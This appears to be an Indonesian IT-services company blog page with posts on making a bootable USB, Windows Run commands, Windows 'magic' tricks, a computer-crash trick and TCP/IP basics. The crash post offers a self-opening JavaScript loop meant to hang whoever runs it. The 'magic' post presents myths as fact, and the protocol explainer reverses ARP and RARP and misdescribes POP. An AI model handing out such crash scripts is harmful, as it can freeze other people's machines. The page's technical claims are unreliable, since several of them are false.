Selamat Tahun Baru 2013 "

Home and Office network Aplication

Kami juga Menyediakan kebutuhan IT Home and Office anda .

Service and Support onLine

Informa Komunika Memberikan Service Bergaransi yang memuaskan.

Application Build and Maintenance

Informa Komunika Menjadi Partner Setia Usaha Kecil dan Menengah.

Hardware and Pheriperals Supplies

Informa Komunika Memberikan Yang Terbaik Untuk Anda.

Gadget Store

Informa Komunika Membuka Kesempatan Bekerja Sama di Bidang IT.

Banner

Rabu, 13 Maret 2013

Cara membuat flasdisk bootable windows xp, vista dan seven 7


Sebenarnya ada sebuah aplikasi selain USB Prep8, yang benar-benar mudah cara pengoperasiannya, ia tidak hanya bisa digunakan untuk membuat flash disk bootable OS windows xp saja, namun bisa gunakan untuk windows 2003, vista dan juga windows seven. Nama aplikasi ini adalah WinToFlash, meskipun aplikasi ini berukuran cukup besar yaitu 16 mb (jika dikompres jadi 7 mb) namun dengan tampilan antar muka yang baik ia benar-benar membantu memudahkan kita dalam membuat flashdisk yang bootable untuk sistem operasi windows xp, 2003 maupun windows seven. Dengan aplikasi kamu bisa dengan mudah membuat flashdisk yang bootable hanya dengan beberapa kali klik saja, kemudian tunggu proses pengkopiannya sampai  finish.

Untuk mendapatkan aplikasi WintoFlash ini silahkan download aplikasi wintoflash yang berukuran 7 MB melalui tombol di bawah ini. download sekarang
Sedangkan panduan cara pembuatan flash disk yang bootable dengan sistem operasi windows xp, 2003, vista ataupun windows seven  dengan aplikasi WinToFlash adalah sebagai berikut :
1. Setelah aplikasi file zip wintoflash di atas didownload, extraklah file tersebut, kemudian buka aplikasi WinToFlash.
2. Untuk memulai membuat flashdisk bootable dan mudah, langsung saja klik pada tombol Tanda Centang warna hijau
cara install windows xp vista seven via flash disk
3.  Klik tombol Next untuk melanjutkan,
cara install windows xp vista seven dari flash disk
4. Tentukan drive sumber file file sistem operasinya, misalnya windows xp, windows vista, atau windows seven (sebelum ini kamu harus masukkan CD windowsnya, entah itu windows XP, seven ataupun Vista ke CD Rom/DVD Rom)
Lalu tentukan drive flash disk yang ingin dijadikan sebagai flash disk yang bootbale, kemudian klik next dan tunggulah prosessnya sampai selesai. jika sudah selesai klik tombol finish, dan silahkan coba untuk melakukan installasi dengan flash disk yang baru kamu jadikan bootbale tadi.
cara install windows xp vista seven dari flash disk
Catatan penting.
1.  Sebelum memulai membuat flash disk yang bootable, pastikan kapasitas flash disk kamu mencukupi, untuk windows XP paling tidak dibutuhkan 2 Gb, sedangkan untuk windows seven dengan flash disk yang berkapasitas 4 GB.
2.  Dan jangan lupa, agar bisa melakukan installasi dengan flash disk, setting bios harus dibuat boot dari flash disk. bagi kamu yang belum mengerti silahkan bacara panduan cara setting bios agar komputer booting dari flashdisk < —- silahkan klik di sini,  untuk membaca panduannya.
3. Selanjutnya silahkan membaca tahapan setup cara instal windows xp jika kamu belum mengerip langkah-langkahnya.
Selamat mencoba membuat flash disk yang bootble, baik dengan windows xp, vista ataupun windows seven. semoga berhasil sehingga komputer atau laptop kamu bisa digunakan lagi.

Rabu, 06 Maret 2013

Aneka perintah windows pad RUN


Berikut daftar aplikasi windows dan perintah yang diketikkan pada menu RUN.
Accessibility Controls “access.cpl”
Add Hardware Wizard “hdwwiz.cpl”
Add/Remove Programs “ppwiz.cpl”
Administrative Tools “control admintools”
Automatic Updates “wuaucpl.cpl”
Bluetooth Transfer Wizard “fsquirt”
Calculator “calc”
Certificate Manager “certmgr.msc”
Character Map “charmap”
Check Disk Utility “chkdsk”
Clipboard Viewer “clipbrd”
Command Prompt “cmd”
Component Services “dcomcnfg”
Computer Management “compmgmt.msc”
Date and Time Properties “timedate.cpl”
DDE Shares “ddeshare”
Device Manager “devmgmt.msc”
Direct X Control Panel (If Installed)* “directx.cpl”
Direct X Troubleshooter “dxdiag”
Disk Cleanup Utility “cleanmgr”
Disk Defragment “dfrg.msc”
Disk Management “diskmgmt.msc”
Disk Partition Manager “diskpart”
Display Properties “control desktop”
Display Properties “desk.cpl”
Display Properties (w/Appearance Tab Preselected) “control color”
Dr. Watson System Troubleshooting Utility “drwtsn32″
Driver Verifier Utility “verifier”
Event Viewer “eventvwr.msc”
File Signature Verification Tool “sigverif”
Findfast “findfast.cpl”
Folders Properties “control folders”
Fonts “control fonts”
Fonts Folder “fonts”
Free Cell Card Game “freecell”
Game Controllers “joy.cpl”
Group Policy Editor (XP Prof) “gpedit.msc”
Hearts Card Game “mshearts”
Iexpress Wizard “iexpress”
Indexing Service “ciadv.msc”
Internet Properties “inetcpl.cpl”
IP Configuration (Display Connection Configuration) “ipconfig /all”
IP Configuration (Display DNS Cache Contents) “ipconfig /displaydns”
IP Configuration (Delete DNS Cache Contents) “ipconfig /flushdns”
IP Configuration (Release All Connections) “ipconfig /release”
IP Configuration (Renew All Connections) “ipconfig /renew”
IP Configuration (Refreshes DHCP & Re-Registers DNS) “ipconfig /registerdns”
IP Configuration (Display DHCP Class ID) “ipconfig /showclassid”
IP Configuration (Modifies DHCP Class ID) “ipconfig /setclassid”
Java Control Panel (If Installed) “jpicpl32.cpl”
Java Control Panel (If Installed) “javaws”
Keyboard Properties “control keyboard”
Local Security Settings “secpol.msc”
Local Users and Groups “lusrmgr.msc”
Logs You Out Of WINDOWS “logoff”
Mic*ft Chat “winchat”
Minesweeper Game “winmine”
Mouse Properties “control mouse”
Mouse Properties “main.cpl”
Network Connections “control netconnections”
Network Connections “ncpa.cpl”
Network Setup Wizard “netsetup.cpl”
Notepad “notepad”
Nview Desktop Manager (If Installed) “nvtuicpl.cpl”
Object Packager “packager”
ODBC Data Source Administrator “odbccp32.cpl”
On Screen Keyboard “osk”
Opens AC3 Filter (If Installed) “ac3filter.cpl”
Password Properties “password.cpl”
Performance Monitor “perfmon.msc”
Performance Monitor “perfmon”
Phone and Modem Options “telephon.cpl”
Power Configuration “powercfg.cpl”
Printers and Faxes “control printers”
Printers Folder “printers”
Private Character Editor “eudcedit”
Quicktime (If Installed) “QuickTime.cpl”
Regional Settings “intl.cpl”
Registry Editor “regedit”
Registry Editor “regedit32″
Remote Desktop “mstsc”
Removable Storage “ntmsmgr.msc”
Removable Storage Operator Requests “ntmsoprq.msc”
Resultant Set of Policy (XP Prof) “rsop.msc”
Scanners and Cameras “sticpl.cpl”
Scheduled Tasks “control schedtasks”
Security Center “wscui.cpl”
Services “services.msc”
Shared Folders “fsmgmt.msc”
Shuts Down WINDOWS “shutdown”
Sounds and Audio “mmsys.cpl”
Spider Solitare Card Game “spider”
SQL Client Configuration “cliconfg”
System Configuration Editor “sysedit”
System Configuration Utility “sconfig”
System File Checker Utility (Scan Immediately) “sfc /scannow”
System File Checker Utility (Scan Once At Next Boot) “sfc /scanonce”
System File Checker Utility (Scan On Every Boot) “sfc /scanboot”
System File Checker Utility (Return to Default Setting) “sfc /revert”
System File Checker Utility (Purge File Cache) “sfc /purgecache”
System File Checker Utility (Set Cache Size to size x) “sfc /cachesize=x”
System Properties “sysdm.cpl”
Task Manager “taskmgr”
Telnet Client “telnet”
User Account Management “nusrmgr.cpl”
Utility Manager “utilman”
W*NDOW$ Firewall “firewall.cpl”
W*NDOW$ Magnifier “magnify”
W*NDOW$ Management Infrastructure “wmimgmt.msc”
W*NDOW$ System Security Tool “syskey”
W*NDOW$ Update Launches “wupdmgr”
W*NDOW$ XP Tour Wizard “tourstart”
Wordpad “write”

Magic In Windows


MAGIC #1
Orang India menemukan bahwa tidak ada seorang pun yang dapat membuat
FOLDER di komputer dengan program Microsoft manapun dengan judul folder
“CON”, “LPT1?, “COM1?. Ini merupakan hal nyata dan seluruh kru Microsoft sendiri tidak
dapat menjawabnya kenapa hal ini bisa terjadi. Cobalah dengan membuat sebuah folder dengan nama CON atau con.
Bukalah My Document -> File -> New -> Folder -> ketik CON atau Con atau con
Apa yang terjadi?

MAGIC #2
Bagi anda para pengguna Windows, lakukanlah hal berikut ini:
1) Buka sebuah notepad file kosong
2) Ketiklah “Bush hid the facts” (tanpa tanda kutip ya)
3) Save di mana pun anda suka
4) Tutuplah dan bukalah kembali file tersebut.
Aneh bukan?
MAGIC #3: Microsoft Crazy Facts
Cobalah hal yang menarik ini, sungguh aneh! Bahkan Bill Gates sendiri
tidak menemukan jawabannya kenapa ini bisa terjadi! Hal ini ditemukan oleh
orang Brazil. Cobalah!
1)Buka program Microsoft Word dan ketik: =rand (200, 99)
2) kemudian anda ENTER
Apa yang anda temukan? Menarik bukan? coba aja…..

Trik Bikin Kompi Crash/Hang


Setelah beberapa saat googling wa Dapat Sebuah trik lagi .X nih wa comot dari tetangga sebelah moga ja tetangga sebelahnya g’ marah yaa ..
Ok Nih ada sdikit script yang bias ngebuat kompi kita menjadi crash alias hang .Nah scrip ini menggunakan code yang berfungsi untuk memanggil diri sendiri .Dengan script yang pendek ini kompi sobat bisa crash pengen bukti ??? yok mari kita coba ..
Copy code di bawah ini ..trus simpan dengan nama index.html trus jangan lupa ganti save as type nya menjadi all files .,Ok trus tinggal di jalanin aja deh ..
<HTML>
<HEAD>
<META HTTP-EQUIV=”Refresh” CONTENT=”1; URL=index.html”>
<SCRIPT LANGUAGE=”JavaScript”>
<!–
for (x=0;x<1;x)
open(“index.html”);
</SCRIPT>
</HEAD>
</body>
</HTML>
Ingat Memberilah Sebanyak-banyaknya Bukan menerima sebanyak-banyaknya …

Memahami TCP/IP dan UDP


* TCP/IP TCP singkatan dari 'Transmission Control Protocol' dan hampir semua sistem
operasi modern kompatibel dengan protocol ini. TCP adalah dasar dari koneksi, Hal ini
berarti melakukan suatu koneksi langsung antara dua komputer untuk melakukan transfer
data antara kedua host. Suatu paket mengandung header dan data gram, pada bagian header
dari paket akan mengandung informasi penting tentang :
? ? Source Port
? ? Destination Port
? ? Sequence number
? ? Acknowledgement number
? ? Header Length (Standard 20 Bytes)
? ? Flags (syn, ack, psh, fin, rst, urg)
? ? Window size
? ? Checksum
? ? IP_v4 or IP_v6
? ? Header Length
? ? DSF
? ? Total Length
? ? Identification
? ? Flags (Set Fragment bit or not)
? ? Fragment Offset
? ? TTL
? ? Protocol (this case TCP)
? ? Header checksum
? ? Source IP
? ? Destination IP

Jika anda ingin memahami bagaimana suatu koneksi dilakukan, bacalah dengan seksama
ilustrasi berikut ini :
Awalnya suatu paket dengan SYN-flag dikirim ke IP tujuan, tujuan akan
memberikan respon dengan suatu ACK(SYN) flag atau suatu paket de ngan RSTflag.
Akan saya jelaskan: SYN singkatan dari SYN -(synchronisation), yang
digunakan untuk ‘memberitahukan' komputer tujuan suatu permintaan
melakukan koneksi, kalau diterima, maka permintaan tersebut akan dijawab
dengan suatu paket ACK(SYN) flag. A CK singkatan dari ACK-(nowledgement).
Setelah menerima paket dengan ACK(SYN) flag, komputer mengirim kembali
suatu ACK memberitahukan host lain bahwa koneksi telah dibuat. Hal ini
kita sebut sebagai "Three-Way-Handshake". Jika koneksi telah dibuat dan
salah satu host ingin melakukan disconnect, akan dikirim suatu paket
dengan FIN-flag diaktifkan. (FIN singkatan dari FINish). Tabel ini akan
membuat hal ini lebih jelas:
Computer A Computer B
========== ==========
1) SYN -->
2) <-- ACK(SYN)
3) ACK --> Ya, koneksi telah dibuat!
4) FIN -->
5) <-- ACK(FIN)

Computer A Computer B
========== ==========
1) SYN -->
2) <-- RST
3) ACK --> "Computer B" tidak ingin melakukan koneksi dengan "Computer A"!
(mungkin komputer B menjalankan suatu firewall)

Ada beberapa cara untuk mengeksplotasi protocol TCP :
SYN-floods, teardrop, Smurf-attacks, sequence-number attacks & dll.
Untuk informasi yang lebih lengkap http://neworder.box.sk/ dan
http://packetstorm.securify.com/
IP adalah singkatan dari Internet Protocol. Perhatikan lagi contoh diatas, jika "Computer A"
mengirim suatu paket ke "Computer B", IP dari kedua komputer berada didalam IP-header
dari paket tersebut, yaitu IP tujuan (dari komputer B) dan IP sumber (dari komputer A).
Router yang berada diantara kedua host akan memeriksa IP-header tersebut dan melakukan
masquerade paket tersebut ke segment berikutnya. Jika terjadi kesalahan dalam pengiriman
tersebut, contohnya host tujuan tidak dapat dicapai, suatu ICMP (Internet Control Message
Protocol) digunakan untuk mengirim pesan kesalahan sehingga kesalahan tersebut dapat
diperbaiki (dan paket tersebut harus dikirim ulang).
Program seperti 'ping' dan ‘traceroute’ juga mengunakan pesan ICMP untuk mendeteksi
status dari host yang berada di segment lain.
Sekarang yang menjadi standar adalah IP_v4, dan standar untuk masa yang akan datang
adalah adalah IP_v6, juga disebut juga sebagai IP_ng (next generation). IP_v4 mengunakan
pengalamatan 32-bit, sedangkan IP_v6 menggunakan pengalamatan 128-bits, sehingga
menghasilkan pengalamatan IP dalam jumlah yang sangat besar.

* Beberapa protocol penting lainnya
* UDP, User Datagram Protocol, adalah TCP yang connectionless. Hal ini berarti bahwa
suatu paket yang dikirim melalui jaringan dan mencapai komputer lain tanpa membuat
suatu koneksi. Sehingga dalam perjalanan ke tujuan paket dapat hilang karena tidak ada
koneksi langsung antara kedua host, jadi UDP sifatnya tidak realibel, tetapi UDP adalah
lebih cepat dari pada TCP karena tidak membutuhkan koneksi langsung.

* FTP (File Transfer Protocol), digunakan untuk melakukan upload dan download file,
keamanan didasarkan kepada username dan password (kadang-kadang suatu anonymous
login diperbolehkan), Kelemahan dari protocol ini adalah username dan password dikirim
secara Clear Text melalui jaringan komunikasi, sehingga dapat menjadi sasaran empuk bagi
program pemantau jaringan seperti packet Sniffer. Suatu daemon FTP melakukan listening
pada port 21/TCP dan mengirim data pada port 20/TCP.

* HTTP, HyperText Transfer Protocol. HTTP digunakan untuk transfer halaman web,
sebelumnya orang menggunakan protokol gopher. Tetapi Gopher hanya mendukung text,
sehingga HTTP berkembang dan digunakan oleh orang banyak. Suatu daemon HTTP

* SMTP, Simple Mail Transfer Protocol digunakan untuk mengirim electronic mail
(Email).
Baca tutorial tentang send-mail diRead the send mail-tutorial pada http://blacksun.box.sk/
dan anda akan belajar banyak tentang protocol ini, suatu daemon SMTP mendengan pada
25/TCP. Salah satu kelemahan dari protokol ini adalah tidak melakukan authentication
terhadap klien, sehingga seseorang dapat dengan mudah mengunakan telnet ke port
25/TCP, dan mengirim email kepada siapa saja, dan dapat memanipulasi alamat sumber
data.

* POP, Post Office Protocol. Belakangan ini POP3 adalah standard yang paling popular.
POP digunakan untuk menerima dan membaca email dari suatu halaman web. Suatu
daemon POP3 melakukan listening pada 110/TCP. Salah satu kelemahan protocol ini
adalah mengirim username dan password secara Clear Text, sehingga dengan mudah dapat
diambil dengan program packet Sniffer.

* DHCP: Dynamic Host Configuration Protocol.
Jika anda mendapatkan suatu Cable-connection dengan menggunakan DHCP akan
mendapatkan IP dari ISP anda.

* OSPF (Open Shortest Path First) & RIP (Routing Information Protocol) digunakan untuk
menentukan metode yang terbaik dalam routing.

* BOOTP digunakan untuk boot (biasanya) suatu diskless workstation akan membaca
informasi boot pada server. Server standarnya melakukan listening pada 67/UDP.

* ARP & RARP: Address Resolution Protocol. Saya akan menjelaskannya dengan contoh:
Jika anda ingin mengirim data ke suatu host dan anda memiliki MAC-address (Media
Access Control, Ethernet-address) anda dapat melakukan query ke router untuk
mendapatkan IP-nya, hal ini ditangani oleh ARP, jika anda memiliki IP dari sautu host dan
anda ingin mendapatkan MAC-address-nya, anda dapat menggunakan RARP (Reverse
Address Resolution Protocol).

* Telnet (Network terminal protocol) digunakan untuk login secara remote ke komputer
(biasanya pada sistem UNIX-base). Telnet mengirim username dan password dalam bentuk
Clear Text melalui jaringan, sehingga mudah diambil orang lain dengan suatu Packet
Sniffer. Ada protocol yang disebut sebagai SSH (Secured SHell) yang juga digunakan
untuk login yang lebih aman secara remote: dimana data yang akan dikirim di enkripsi,
sehingga data yang diperoleh packet Sniffer menjadi tidak berarti. Telnet dan SSH sering
digunakan pada lingkungan UNIX. Suatu daemon telnet melakukan listening pada 23/TCP
dan daemon SSH melakukan listening pada 22/TCP.

* Suatu protocol khusus pada sistem UNIX-base adalah finger, dan sudah sekarang jarang
ditemukan. UNIX yang menjalankan daemon finger, standar-nya melakukan pendengaran
pada 79/TCP & 79/UDP. Kelemahan finger adalah akan memberikan informasi yang
berharga keluar (seperti nama account, nomor telepon sehingga memungkinkan untuk
pemakaian serangan Social-Engineering). Terdapat banyak kelemahan pada daemon finger
dan sangat tidak aman.